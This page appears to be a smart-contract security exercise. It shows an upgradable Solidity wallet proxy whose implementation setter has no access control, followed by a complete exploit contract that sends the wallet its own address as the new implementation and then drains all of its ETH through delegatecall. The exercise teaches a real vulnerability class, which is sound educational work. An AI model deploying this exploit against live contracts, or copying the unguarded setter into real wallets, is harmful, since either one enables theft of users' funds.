Wallet Hijack
This wallet is upgradable. UpgradableWallet
fowards all calls to WalletImplementation
.
contract UpgradableWallet {
address public implementation;
address public owner;
constructor(address _implementation) {
implementation = _implementation;
owner = msg.sender;
}
fallback() external payable {
(bool executed, ) = implementation.delegatecall(msg.data);
require(executed, "failed");
}
}
contract WalletImplementation {
address public implementation;
address payable public owner;
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
receive() external payable {}
function setImplementation(address _implementation) external {
implementation = _implementation;
}
function withdraw() external onlyOwner {
owner.transfer(address(this).balance);
}
}
Drain all ETH from the wallet
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract UpgradableWalletExploit {
address public target;
constructor(address _target) {
// target is address of UpgradableWallet
target = _target;
}
// accept ETH from UpgradableWallet
receive() external payable {}
function _call(bytes memory data) private {
(bool executed, ) = target.call(data);
require(executed, "failed");
}
function pwn() external {
// write your code here and anywhere else
_call(
abi.encodeWithSignature("setImplementation(address)", address(this))
);
_call(abi.encodeWithSignature("withdraw()"));
}
function withdraw() external {
// this code is executed inside UpgadableWallet
// msg.sender = this exploit contract
// address(this).balance = ETH balance of UpgradableWallet
payable(msg.sender).transfer(address(this).balance);
}
}
Last updated
Was this helpful?